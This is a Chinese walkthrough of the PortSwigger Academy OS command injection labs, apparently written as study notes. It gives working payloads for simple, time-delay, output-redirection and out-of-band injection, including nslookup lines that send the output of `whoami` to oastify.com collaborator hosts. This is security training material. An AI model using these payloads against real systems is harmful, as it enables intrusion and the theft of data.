Portswigger 靶场-操作系统命令注入
OS command injection
目录
常见注入方式
- 分号分割
||
&&
&
分割|
管道符\r\n
%d0%a0
换行- 反引号解析
$()
替换
1. OS command injection, simple case
OS命令注入,简单案例
目标:执行命令以确定当前用户的名称。whoami
过程:
用 burp 拦截数据包,有两个参数分别是产品和商店
Post 设置参数,whoami 命令用于显示自身用户名称
1 & whoami #
URL 编码后
1+%26+whoami+%23
2. Blind OS command injection with time delays
具有时间延迟的盲操作系统命令注入
目标:通过 sleep 10 秒判断出问题所在
过程:
在“反馈”界面抓包处理,分别测试name
email
等参数
+%26+sleep+10+%23
& sleep 10 #
3. Blind OS command injection with output redirection
带有输出重定向的盲操作系统命令注入
目标:通过 whomi 命令,输出重定向到/var/www/images/
过程:
在“反馈”界面抓包处理,分别测试name
email
等参数
让应用程序在输出响应之前休眠 10 秒,来确认是否有盲注命令注入,测试后发现易受攻击的字段是email
可通过 F12 把 emali 的 type 改为 text,以此绕过前端检查,来提交反馈
在电子邮箱处填写& whoami > /var/www/images/ling.txt #
,执行 whoami 命令,将内容保存在 ling.txt
访问图片网址,修改文件名成 ling.txt
# 等待十秒
& sleep 10 #
# 将内容保存在 ling.txt
& whoami > /var/www/images/ling.txt #
# 访问
https://0ab8007b0415044bc48b9b5d001e00fb.web-security-academy.net/image?filename=ling.txt
4. Blind OS command injection with out-of-band interaction
带有带外交互的盲操作系统命令注入
目标:利用盲操作系统命令注入漏洞向 Burp 协作者发出 DNS 查找
过程:
需要 Burp pro 而不是社区版,利用 nslookup 命令去外带出回显
nslookup 命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题
+%26+nslookup+bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com+%23
# URL 解码后
& nslookup bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com #
5. Blind OS command injection with out-of-band data exfiltration
带外数据泄露的盲 OS 命令注入
启用 Burp Collaborator client,复制到剪贴板;拦截和修改提交反馈的请求,修改 email 参数
& nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com #
& nslookup $(whoami).kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com #
||nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com||
最后,在 burp 的子域名中,可以看到 DNS 交互,获得当前用户名